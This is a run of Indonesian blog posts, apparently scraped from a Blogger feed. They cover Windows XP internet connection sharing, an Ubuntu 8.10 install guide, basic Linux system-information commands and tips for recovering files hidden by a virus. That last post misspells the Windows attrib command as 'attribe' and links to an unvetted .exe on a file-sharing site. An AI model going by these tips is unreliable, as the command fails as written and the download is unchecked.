<p>2) Pada tabs Advanced aktifkan option Allow other network users to connect through this<br />computer’s Internet Connection.<br />3) Setelah Koneksi Internet berhasil di sharing maka akan muncul 2 buah macam koneksi. Sebaiknya ganti nama masing-masing koneksi tersebut agar mudah membedakan antarakoneksi yang terhubung ke Modem dengan Koneksi yang terhubung ke Switch dengan cara me-rename masing-masing koneksi tersebut.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-13.jpg" title="gbr-13.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-13.jpg?w=450&h=113" alt="gbr-13.jpg" height="113" width="450" /></a></p> <p>4) Jika kita buka properties pada koneksi yang terhubung ke Switch, pada tabs support<br />terdapat alamat IP yang akan menjadi default Gateway bagi PC Client yang akan<br />terhubung melalui PC Server (192.168.0.1).</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-14.jpg" title="gbr-14.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-14.jpg?w=364&h=286" alt="gbr-14.jpg" height="286" width="364" /></a></p> <p><b>Network Setup</b><br />Langkah-langkah yang kita lakukan tadi hanyalah untuk memberikan izin bagi PC Client agar dapat mengakses Internet. Untuk mengaktifkan Izin tersebut dilakukan dengan cara mensetup Network / Jaringan yang kita miliki. Langkah pengerjaannya adalah sebagai berikut :<br />1) Buka Network Setup Wizard yang terdapat pada Control Panel. Lalu lakukan langkah<br />seperti pada gambar. (pastikan Koneksi ke internet dalam keadaan hidup).</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-15.jpg" title="gbr-15.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-15.jpg?w=470&h=351" alt="gbr-15.jpg" height="351" width="470" /></a></p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-16.jpg" title="gbr-16.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-16.jpg?w=420&h=346" alt="gbr-16.jpg" height="346" width="420" /></a></p> <p>2) Pada pilihan select a Connection Method pilih yang Connect Directly to the Internet<br />untuk PC server dan bila melakukan settingan pada PC Client plihlah Option Connect to<br />the internet through a residental gateway.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-17.jpg" title="gbr-17.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-17.jpg?w=478&h=372" alt="gbr-17.jpg" height="372" width="478" /></a></p> <p>3) Option Berikut meminta kita menentukan koneksi yang mana yang akan kita gunakan<br />untuk melakukan dial-up ke Internet. Pilihlah koneksi yang tersambung ke Modem.<br />Pilihan ini tidak ada pada saat kita melakukan setting di PC Client.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-18.jpg" title="gbr-18.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-18.jpg?w=467&h=365" alt="gbr-18.jpg" height="365" width="467" /></a></p> <p>4) Isikan Computer Name sesuai dengan nama yang telah kita berikan tadi, lalu isikan<br />Computer Description jika anda inginkan (Optional / tidak diisi tidak berpengaruh).</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-19.jpg" title="gbr-19.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-19.jpg?w=468&h=368" alt="gbr-19.jpg" height="368" width="468" /></a></p> <p>5) Isi Nama Workgroup sesuai dengan nama yang telah kita tentukan sebelumnya. Perlu<br />saya ingatkan kembali bahwa nama workgroup sebaiknya sama untuk semua komputer<br />agar langkah setting lebih mudah.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-20.jpg" title="gbr-20.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-20.jpg?w=455&h=354" alt="gbr-20.jpg" height="354" width="455" /></a></p> <p>6) Pilihlah option Turn On File and Printing Sharing pada task selanjutnya.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-21.jpg" title="gbr-21.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-21.jpg?w=463&h=359" alt="gbr-21.jpg" height="359" width="463" /></a></p> <p>7) Setelah settingan pada jendela log kita anggap benar klik next untuk menjalankan /<br />Mengaktifkan settingan yang telah kita buat tadi.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-22.jpg" title="gbr-22.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-22.jpg?w=459&h=359" alt="gbr-22.jpg" height="359" width="459" /></a></p> <p><img src="http://oasisnet.wordpress.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley" /> Tunggu beberapa saat hingga komputer selesai menyesuaikan dengan settingan<br />barunya.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-23.jpg" title="gbr-23.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-23.jpg?w=463&h=356" alt="gbr-23.jpg" height="356" width="463" /></a></p> <p>9) Pilih option just finish wizard, lalu klik Next = > Finish. Biasanya PC akan otomatis<br />reboot setelah menyelesaikan prosedur tadi.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-24.jpg" title="gbr-24.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-24.jpg?w=464&h=361" alt="gbr-24.jpg" height="361" width="464" /></a></p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-25.jpg" title="gbr-25.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-25.jpg?w=458&h=358" alt="gbr-25.jpg" height="358" width="458" /></a></p> <p>Langkah yang sama kita lakukan pada semua PC Client. Perbedaan cara setting antara PC<br />Server dan PC Client hanyalah terletak pada point 2 dan point 3.</p> <p>Setelah menyelesaikan langkah settingan tersebut pada PC Client lakukanlah pengetesan<br />koneksi dengan cara yang sama dengan PC Server, yaitu mengunjungi alamat situs yang mudah di Loading dan mengetes kecepatan koneksi. Bila koneksi yang ada dirasa terlalu lambat silahkan lakukan pengecekan pada settingan Network tadi apakah ada Option yang salah atau tidak, dan juga lakukan pengecekan pada koneksi perkabelan apakah suda terposisikan dengan baik atau belum.<br />Sampai dengan langkah ini semua PC Client bisa terhubung dengan bebas ke Internet selama PC Server menghidupkan Koneksinya. Untuk membatasi penggunaan pada PC Client adal beberapa pilihan. Yang pertama adalah membuat list user dari Computer Client, user mana yang mempunyai hak untuk mengakses internet yang mana yang tidak diizinkan untuk mengaksesnya. Settingan tersebut biasanya digunakan di perkantoran. Sedangkan untuk warnet, pembatasan akses biasanya dilakukan dengan menginstalkan program billing pada C Server dan PC Client. Untuk produk billing dalam negeri sudah terdapat beberapa pengembang program diantaranya adalah www.billingexplorer.com dan www.indobilling.com untuk keperluan setting billing ini silahkan menghubungi pengembangnya masing-masing.</p> <p><b>Reff:<br /></b></p> <ul><li> Microsoft Windows XP SP2 Help Menu</li><li> Fahrial, Jaka, Teknik Konfigurasi LAN, www.ilmukomputer.com</li><li> Kelik, Wahyu, Pengantar Perkabelan & Jaringan, www.ilmukomputer.com</li><li> www.google.com</li><li> www.sijiwae.net/speedtest</li><li> Permana, Wahyu, Bimbingan Lewat Chatting</li><li> Sudiyana, Wayan, Bimbingan Lewat Chatting</li><li> Solehudin, Asep, Bimbingan Lewat Chatting</li></ul><br /> sumber : <a href="google">google.com</a>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-57430707916014678842010-04-21T17:53:00.000-07:002010-04-21T17:54:01.252-07:00<!-- Begin: PRIMBON RAMALAN JODOH --><br /><center><br /><iframe src="http://www.primbon.com/primbon.htm" name="ramalan" width="414" height="200" marginwidth="0" marginheight="0" frameborder="no"></iframe><br /></center><br /><!-- End: PRIMBON RAMALAN JODOH -->blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-49260718365969358872010-04-20T17:59:00.000-07:002010-04-20T18:01:53.204-07:00cara menginstal linux ubuntu<p align="justify"> <img src="http://med.unhas.ac.id/ancha/images/stories/tux%20mks.jpg" style="float: left;" alt="Image" title="Image" border="0" hspace="6" />Sebelum memulai tahapan instalasi, kita perlu menyediakan partisi untuk Ubuntu kita. Bagi anda yang ingin menggunakannya berdampingan dengan Windows yang sudah terinstal (asumsi: Ubuntu dipakai sebagai OS sekunder), maka sediakan saja 10GB partisi untuk tempat instal ubuntu, dan 2 kali jumlah RAM anda sebagai SWAP. </p><div align="justify"> <blockquote> <p> <strong>Contoh</strong>: Jika anda memiliki 1GB RAM, maka SWAP yang disarankan adalah 2GB. Sesuaikan saja dengan jumlah RAM yang dipasang. </p> </blockquote> </div><p align="justify"> Nah.. jadi jika swap yang diperlukan adalah 2GB, makan total partisi yang diperlukan adalah 12GB. Anda bisa menambah jumlah partisi untuk tempat instalasi ubuntu sesuai kebutuhan. Misalnya jika ingin melakukan instalasi-instalasi program tambahan di Ubuntu yang cukup banyak, sebaiknya sediakan jumlah space harddisk yang lebih besar pula. </p><div align="justify"> </div><p align="justify"> Bagi anda yang ingin memakai <span style="text-decoration: underline;">Ubuntu sebagai OS utama</span>, disarankan membuat 3 Partisi: Partisi Utama, sebagai tempat instalasi Ubuntu, Partisi untuk document anda (Home), dan partisi swap </p> <p align="justify"> Kali ini saya tidak akan membahas secara mendalam mengenai cara partisi, karena akan semakin memperpanjang postingan ini, dan malah (mungkin) akan lebih panjang daripada penjelasan instalasi ubuntu itu sendiri. </p><div align="justify"> </div><p align="justify"> Selanjutnya atur pengaturan bios untuk boot lewat CD/DVD ROM anda. Kemudian masukkan CD/DVD ubuntu, lalu nyalakan komputer. Nantinya kita akan mendapatkan halaman seperti ini: </p><div align="justify"> </div><p style="text-align: center;" align="justify"> <img class="aligncenter" src="http://img301.imageshack.us/img301/5521/52711199vw9.jpg" alt="tutorubuntu1" title="tutorubuntu1" width="500" height="375" /> </p><div align="justify"> </div><p align="justify"> Pilih bahasa yang ingin dipakai, kemudian pilih “Install Ubuntu”. Jika memang ingin mencoba terlebih dahulu tanpa melakukan instalasi, kita bisa memilih “Try Ubuntu without any change to your computer”. </p><div align="justify"> </div><p style="text-align: center;" align="justify"> <img class="aligncenter" src="http://img68.imageshack.us/img68/4209/80075219xf4.jpg" alt="" title="tutorubuntu2" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Pada bagian ini, yang perlu diperhatikan adalah kompatibilitas hardware. Sebenarnya, kernel 2.6.27 dari Intrepid sudah cukup baru, dan mudah mengenali hardware-hardware pada komputer saya. kernel di ubuntu ini mengenali hardisk sata. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <strong>Jika Ubuntu tidak bisa terinstal, kemungkinannya ada 2:</strong> </p><div align="justify"> <ol><li>Proses burn CD/DVD Ubuntu tidak berjalan sempurna, atau ada kerusakan parsial.</li><li>Ada hardware utama (yang wajib dikenali untuk proses instalasi) yang tidak dikenali oleh kernel Ubuntu 8.10</li></ol> </div><p align="justify"> Kesimpulan no. 1 saya ambil setelah saya memiliki 2 CD Ubuntu Intrepid dari sumber file yang sama persis. Hanya saja yang satu bisa diinstal, sedangkan yang lain tidak. Agak aneh memang <img class="wp-smiley" src="http://donnykapahang.com/wp-content/plugins/smilies-themer/Julianus/20x20-confuse.png" alt=":oups:" /> . </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img67.imageshack.us/img67/6497/64207789gj3.jpg" alt="" title="tutorubuntu3" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Jika memang tidak ada masalah, sesudah tampilan seperti screenshot di atas, kita akan masuk ke langkah pertama instalasi ubuntu tersebut. Halaman ini adalah halaman selamat datang, sekaligus menanyakan bahasa yang ingin kita pakai selama proses instalasi berlangsung. Bahasa ini juga akan menjadi bahasa utama Ubuntu kita, setelah proses instalasi selesai dijalankan. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Sesudah memilih bahasa yang ingin dipakai, klik forward: </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img126.imageshack.us/img126/7065/45479053ai1.jpg" alt="" title="tutorubuntu4" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Pada langkah kedua, kita akan mengatur lokasi Zona waktu kita. Kita bisa memilih pada kolom “Selected City”, atau lebih mudah, cari saja titik lokasi pada peta dunia yang ada. Sesudah itu, klik forward: </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img116.imageshack.us/img116/4734/73023569tq7.jpg" alt="" title="tutorubuntu5" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Langkah berikutnya, kita akan memilih tipe keyboard yang sedang kita pakai. Biasanya, keyboard yang ada di pasaran umum di Indonesia memiliki layout USA. Tapi jika ragu, coba saja ketikkan beberapa huruf atau kata di kolom yang disediakan, untuk mengetahui jenis keyboard yang dipakai. Jika sudah, klik forward: </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img410.imageshack.us/img410/2979/76767851cf6.jpg" alt="" title="tutorubuntu6" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Langkah keempatnya adalah memilih partisi yang ingin dipakai untuk tempat kita menginstal ubuntu. Jika memang harddisk kita masih kosong (instalasi pertama) kita bisa memilih “Guided - use entire disk”, untuk memakai seluruh space di harddiks kita. </p><div align="justify"> <blockquote> <p style="text-align: left;"> <strong>Peringatan</strong>: Pilihan “Guided - use entire disk” hanya dipilih jika harddisk <span style="text-decoration: underline;">benar-benar kosong</span> tanpa data apapun. Menggunakan pilihan ini pada harddisk dengan data yang ada di dalamnya akan membuat semua <strong>data anda terhapus/hilang</strong>. Jika tidak yakin, pilih saja cara “Manual”. </p> </blockquote> </div><p style="text-align: left;" align="justify"> Untuk dual OS, dimana windows sudah terinstal sebelumnya, pilih “Manual”, dan pilih partisi yang telah kita siapkan sebelumnya. Jangan lupa bahwa dari partisi yang telah kita siapkan sebelumnya, akan kita bagi menjadi 2 bagian: Partisi Instal dan partisi SWAP, sesuai dengan proporsinya masing-masing. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img243.imageshack.us/img243/1153/12769259hy7.jpg" alt="" title="tutorubuntu7" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Sesudah proses partisi, kita akan mengisi data profil kita. Masukkan nama anda, nama untuk login (otomatis menyesuaikan nama depan anda, tapi masih bisa diubah), password untuk login, dan nama komputer sebagai identitas dalam network/jaringan. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Jika kita ingin langsung masuk ke desktop setiap kali menyalakan komputer (tanpa proses memasukkan nama dan password setiap login), klik saja kotak “Log in automatically”. Setelah itu, klik forward. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img132.imageshack.us/img132/9338/38288747mj1.jpg" alt="" title="tutorubuntu8" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Langkah ke-6 adalah proses import data dari OS anda yang sudah terinstal lebih dulu (misalnya Windows). Langkah ini bisa di skip, atau memang tidak diperlukan jika kita benar-benar menginstal dalam posisi harddisk kosong. Selanjutnya, langkah ke tujuh adalah resume dari proses pengaturan pra-instalasi kita. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Baca baik-baik semua pengaturan, terutama bagian partisi harddisk dimana data kita bisa saja hilang tanpa sengaja karena kesalahan input data partisi yang kita masukkan sebelumnya. Jika sudah yakin, klik “Install”. </p><div align="justify"> </div><p style="text-align: center;" align="justify"> <img class="aligncenter" src="http://img75.imageshack.us/img75/9126/78602992xg9.jpg" alt="" title="tutorubuntu9" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: center;" align="justify"> Sesudah itu, proses instalasi akan berlangsung: </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img301.imageshack.us/img301/7403/10fo5.jpg" alt="" title="tutorubuntu10" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Seduah proses instalasi selesai, kita akan diminta untuk me-restart komputer. Klik “Restart now” untuk melanjutkan, dan untuk menyalakan kembali komputer kita. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img68.imageshack.us/img68/4681/11on0.jpg" alt="" title="tutorubuntu11" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: center;" align="justify"> Keluarkan disk dari CD/DVD ROM setelah ada tulisan “Please remove the disk… dst, dst.” </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img67.imageshack.us/img67/3361/12gu4.jpg" alt="" title="tutorubuntu12" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: center;" align="justify"> Sesudah itu, Ubuntu akan memulai proses login: </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img126.imageshack.us/img126/5280/13ao0.jpg" alt="" title="tutorubuntu13" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Jika tidak ada masalah lain (terhadap hardware) dan proses instalasi sudah berjalan sebagaimana mestinya, terkecuali kita memilih pengaturan “Login automatically”, maka kita akan dibawa pada halaman login. Masukkan nama login yang telah kita pilih tadi, lalu passwordnya. Klik enter. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img116.imageshack.us/img116/268/14uf1.jpg" alt="" title="tutorubuntu14" width="500" height="375" /> </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Tadaa.. sekarang Ubuntu 8.10 - Intrepid Ibex sudah terinstal di komputer kita. Selamat menikmati salah satu Open Source Operating System Ubuntu. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> <img class="aligncenter" src="http://img410.imageshack.us/img410/2649/15ga3.jpg" alt="" title="tutorubuntu15" width="500" height="375" /> </p><div align="justify"> </div><h3 style="text-align: left;" align="justify">Penutup:</h3><div align="justify"> </div><p style="text-align: left;" align="justify"> saya bukan ahli linux, hanya seorang yang senang belajar linux terutama distro ubuntu dengan segala kelebihan dan keterbatasannya. Jadi mohon maaf kalau ada bagian yang salah, atau kurang jelas. Saya juga mohon maaf jika nantinya ada pertanyaan yang tidak bisa dijawab, karena saya juga masih belajar. </p><div align="justify"> </div><p style="text-align: left;" align="justify"> Jika memang ada yang bisa membantu menjawab beberapa pertanyaan yang muncul, silahkan menjawab melalui Tab BUKU TAMU, saya akan sangat berterimakasih.<br /></p><p style="text-align: left;" align="justify"><br /></p><p style="text-align: left;" align="justify">SUMBER : <a href="http://GOOGLE.COM">GOOGLE.COM</a><br /></p><div align="justify"><br /></div>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-66496662559717299702010-04-18T19:53:00.000-07:002010-04-18T20:08:52.838-07:00perintah informasi sistem dalam linux<span style="text-decoration: underline;"><strong>Perintah Informasi Sistem</strong></span> <p>Kegunaannya untuk mengetahui seluk beluk sistem baik dari segi hardware maupun software, diantaranya adalah sebagai berikut:</p> <ul><li><strong>df </strong> : perintah df menampilkan filesystem penggunaan disk space untuk semua partisi. Yang paling enak mungkin perintah <em><strong>df -h</strong></em> karena dia yang sering di gunakan :). <strong><em>df -h</em></strong> menggunakan megabyte (M) dan gigabyte (G) dalam hasilnya jadi lebih enak di baca manusia kayak kita he..he, bukan perhitungan block. (<strong>-h</strong> berarti “-human”)</li><p><span id="more-371"></span> </p></ul> <blockquote> <p style="text-align: left;">Filesystem Size Used Avail Use% Mounted on<br />/dev/sda7 8.2G 5.3G 2.6G 68% /<br />tmpfs 252M 0 252M 0% /lib/init/rw<br />varrun 252M 212K 251M 1% /var/run<br />varlock 252M 0 252M 0% /var/lock<br />udev 252M 2.8M 249M 2% /dev<br />tmpfs 252M 232K 251M 1% /dev/shm<br />lrm 252M 2.0M 250M 1% /lib/modules/2.6.27-7-generic/volatile<br />/dev/sda11 6.1G 4.0G 1.8G 69% /home<br />/dev/sda10 15G 7.7G 5.9G 57% /media/hda10<br />/dev/sda5 6.1G 4.6G 1.2G 80% /media/hda5<br />/dev/sda6 6.5G 5.2G 1021M 84% /media/hda6<br />/dev/sda9 14G 12G 1.7G 88% /media/hda9</p></blockquote> <ul><li><strong>free </strong> : perintah ini akan menampilkan tabel penggunaan memory dalam sistem saat itu. Misalnya, <em><strong>free -m</strong></em> akan memberikan informasi menggunakan ukuran dalam megabyte (Mb), gunakan yang ini saja biar gampang.</li></ul> <ul><li><strong>top</strong> : perintah yang menampilkan informasi pada sistem Linux anda yang sedang di jalankan, system resources, termasuk CPU, RAM, penggunaan memory swap, dan berapa task yang sedang dijalankan. Untuk keluar dari perintah top, tekan <strong>Q</strong>.</li></ul> <ul><li><strong>Uname -a</strong> : <strong><em>uname -</em></strong> untuk menampilkan informasi termasuk nama mesin (nama komputer anda yang nampak dalam network), nama kernel, versi release, dan beberapa rincian lainnya. Paling berguna untuk memeriksa kernel yang Anda gunakan.</li></ul> <ul><li><strong>lsb_release -a</strong> : <strong><em>lsb_release</em></strong> dengan tambahan opsi <strong><em>-a</em></strong> untuk menampilkan informasi tentang versi Linux yang di gunakan di system anda berikut contoh hasilnya :</li></ul> <blockquote> <p style="text-align: left;">No LSB modules are available.<br />Distributor ID: Ubuntu<br />Description: Ubuntu 8.10<br />Release: 8.10<br />Codename: intrepid</p></blockquote> <ul><li><strong>ifconfig</strong> : menampilkan informasi network adapter di system anda termasuk yang wireless</li></ul> <ul><li> <strong>iwconfig </strong>: Perintah <em><strong>iwconfig </strong></em>akan menampilkan informasi interface adapter jaringan nirkabel( wireless/Wi fi) termasuk informasi spesifik dari interface tersebut seperti kecepatan (Mbps) dan jaringan wireless yang sedang terhubung ke interface tersebut.</li></ul> <ul><li> <strong>ps</strong> : Perintah ps akan menampilkan semua proses yang berjalan pada komputer anda.</li></ul> <p>Perintah-perintah berikutnya adalah untuk mengetahui daftar hardware pada komputer Anda, baik dari jenis tertentu atau dengan metode tertentu. Perintah ini paling berguna untuk debug bila suatu hardware anda tidak berfungsi dengan benar.</p> <ul><li><strong>lspci</strong> : Perintah lspci menampilkan daftar semua PCI bus dan perangkat yang terhubung ke mereka. Biasanya juga mencakup network card dan sound card.</li></ul> <ul><li> <strong>lsusb </strong>: Perintah lsusb menampilkan daftar semua bus USB dan perangkat USB yang sedang terhubung ke komputer seperti printer, flash disk, dan peralatan dengan USB interface lainnya.</li></ul> <ul><li> <strong>lshal</strong> : Perintah lshal menampilkan daftar semua perangkat yang terdeteksi dan diketahui oleh Hardware Abstraction Layer (HAL), seharusnya sebagian besar atau semua hardware anda ter-list di sini.</li></ul> <ul><li> <strong>lshw</strong> : Perintah lshw menampilkan daftar hardware di sistem anda, termasuk manufacturernya, jenis, dan ke mana hardware tersebut terhubung.</li></ul> <blockquote><p>Satu yang selalu harus di ingat ketika belajar command line adalah kalau bingung dan ingin tahu tentang suatu perintah sekaligus opsi-opsinya gunakan perintah <em><strong>man namaperintah</strong></em></p></blockquote> <p>Itu dulu untuk kali ini lain waktu di sambung kembali bila ada kesempatan dan ada yang mau ditulis di kategori <strong>Mencari dan mengedit file teks</strong> <img class="wp-smiley" src="http://olysus.com/2008/11/25/wp-includes/images/smilies/icon_smile.gif" alt=":)" /></p> <script type="text/javascript"> addthis_url = 'http%3A%2F%2Folysus.com%2F2008%2F11%2F25%2Fubuntu-useful-basic-command-bagian-2-informasi-sistem%2F'; addthis_title = 'Linux+Ubuntu+Useful+Basic+Command+Bagian+2+%3A+Informasi+Sistem'; addthis_pub = ''; </script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12"></script><span id="atb4bcbb290871207d9"><a href="http://www.addthis.com/bookmark.php?v=120&winname=addthis&pub=&source=men-120&lng=en&s=&url=http%253A%252F%252Folysus.com%252F2008%252F11%252F25%252Fubuntu-useful-basic-command-bagian-2-informasi-sistem%252F&title=Linux%2BUbuntu%2BUseful%2BBasic%2BCommand%2BBagian%2B2%2B%253A%2BInformasi%2BSistem&logo=&logobg=&logocolor=&ate=AT-unknown/-/-/4bcbb290a12c9870/1&sms_ss=1&CXNID=2000001.5215456080540439074NXC&pre=http%3A%2F%2Fwww.google.com%2Fsearch%3Fie%3DUTF-8%26oe%3DUTF-8%26sourceid%3Dnavclient%26gfns%3D1%26q%3Dperintah%2Bdasar%2Blinux%2Bubuntu&tt=0" onmouseover="return addthis_open(this, 'share', 'http%3A%2F%2Folysus.com%2F2008%2F11%2F25%2Fubuntu-useful-basic-command-bagian-2-informasi-sistem%2F', 'Linux+Ubuntu+Useful+Basic+Command+Bagian+2+%3A+Informasi+Sistem')" onmouseout="addthis_close()" onclick="return addthis_to()" class="snap_noshots"><img src="http://s7.addthis.com/static/btn/v2/lg-bookmark-en.gif" style="border: medium none ; padding: 0px;" alt="AddThis" height="16" width="125" /></a></span> <div class="aizattos_related_posts"><span class="aizattos_related_posts_header">Related Posts</span><ul><li><span class="aizattos_related_posts_title"><a href="http://olysus.com/2008/11/30/linux-ubuntu-useful-basic-command-bagian-4-kategori-users-and-groups/" rel="bookmark" title="Permanent Link: Linux Ubuntu Useful Basic Command Bagian 4 : Kategori Users and Groups">Linux Ubuntu Useful Basic Command Bagian 4 : Kategori Users and Groups</a></span><div class="aizattos_related_posts_excerpt">Ini adalah lanjutan tulisan sebelumnya tentang basic command di Linux yaitu : Useful Basic Lin...</div></li><li><span class="aizattos_related_posts_title"><a href="http://olysus.com/2008/11/29/linux-ubuntu-useful-basic-command-bagian-3-mencari-dan-edit-file-teks/" rel="bookmark" title="Permanent Link: Linux Ubuntu Useful Basic Command Bagian 3 : Mencari dan Edit File Teks">Linux Ubuntu Useful Basic Command Bagian 3 : Mencari dan Edit File Teks</a></span><div class="aizattos_related_posts_excerpt">Ini adalah bagian ketiga dari tulisan tentang Perintah dasar di Linux Ubuntuyang paling berguna.. T...</div></li><li><span class="aizattos_related_posts_title"><a href="http://olysus.com/2008/11/25/contekan-command-reference-ubuntu/" rel="bookmark" title="Permanent Link: Contekan Command Reference Ubuntu Linux">Contekan Command Reference Ubuntu Linux</a></span><div class="aizattos_related_posts_excerpt">Pas lagi jalan-jalan ketemu satu lembar kertas, eh layar monitor yang berisi contekan beberapa perin...</div></li><li><span class="aizattos_related_posts_title"><a href="http://olysus.com/2008/12/14/cara-mempercepat-menu-gnome-di-linux-ubuntu-anda/" rel="bookmark" title="Permanent Link: Cara Mempercepat Menu Gnome di Linux Ubuntu Anda">Cara Mempercepat Menu Gnome di Linux Ubuntu Anda</a></span></li><li><span class="aizattos_related_posts_title"><a href="http://olysus.com/2008/12/10/how-to-tweaking-ubuntu-in-simple-way/" rel="bookmark" title="Permanent Link: How to Tweaking Linux Ubuntu in Simple Way">How to Tweaking Linux Ubuntu in Simple Way</a></span></li></ul> SUMBEER : <a href="http://www.google.com/">google.com</a><br /></div>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-42099422565982958992010-04-11T19:17:00.000-07:002010-04-11T19:20:27.660-07:00upin & ipin air kolah air laut<div name="idwsads" id="idwsads"><embed id="embed_player" wmode="transparent" allowScriptAccess="always" src='http://www.indowebster.com/templates/object/mediaplayer.swf' FlashVars='bufferlength=5&displayheight=385&file=http://www39.indowebster.com/b0ac9673d27a6c8a1001ca0c369f0676.mp4&logo=http://www.indowebster.com/templates/img/idws.png&frontcolor=0xffffff&backcolor=0xe6e6dc&lightcolor=0xffffff&image=3&autostart=false' width='640' height='385' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' menu='false' allowfullscreen='true'></embed></div>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-67477915026975274782010-04-08T19:27:00.000-07:002010-04-08T19:30:01.312-07:00<h3 class="post-title entry-title"> <a href="http://feryhermawan.blogspot.com/2008/10/tips-mengembalikan-data-yang-hilang.html">Tips mengembalikan data yang hilang karena virus</a> </h3> <div class="post-header"> </div> <div class="post-body entry-content"> Gw sering banget diandalkan buat ngatasin virus komputer yang menyerang Microsoft Windows Series. Kelakuan virus komputer yang sering adalah menyembunyikan file-file di flashdisk menjadi superhidden, maksudnya apabila di cek properties size-nya ada ukurannya tapi file-nya gak ada, ini terjadi apabila antivirus anda tidak mempunyai fasilitas untuk mengembalikan file-file anda seperti semula.<br /><br />Untuk itu, saya mau kasih beberapa tips mengembalikan file-file anda. Tips ini berlaku apabila anda sudah men-delete virus yang ada di flashdisk dan komputer anda (kalo gak ya percuma dong karena virusnya bakal balik lagi).<br /><br />1. Mengembalikan data yang hilang dengan cara manual.<br />- Klik Start<br />- Klik Run<br />- Ketik cmd, tekan enter<br />- Ketikkan perintah berikut ini<br /> attribe -s -h F:\*.* /S /D<br />(F: maksudnya adalah drive yang akan dimunculkan kembali file-nya, jika ada drive lain yang mau dicek tinggal ganti G:, H:, dan seterusnya).<br /><br />2. Mengembalikan data yang hilang dengan cara praktis.<br />- Unduh software dibawah ini<br />http://www.kitaupload.com/download.php?file=82BringBack%20MyData!!.exe<br /><br />3. Memunculkan setingan seperti semula dengan cara manual.<br />- Klik Start<br />- Klik Run<br />- Ketik regedit, tekan enter<br />- Expand folder berikut<br /> HKEY_CURRENT_USER -> Software -> Microsoft -> Windows -> CurrentVersion -> Explorer -> Advance<br />- Buka Hidden, ubah Value data menjadi 1<br />- Buka HIdeFileExt, ubah Value data menjadi 1<br />- Buka ShowSuperHidden, ubah Value data menjadi 1<br />- Buka SuperHidden, ubah Value data menjadi 1<br />- Tutup Registry Editor.<br /><br />4. Memunculkan setingan seperti semula dengan cara praktis.<br />- Unduh software dibawah ini<br 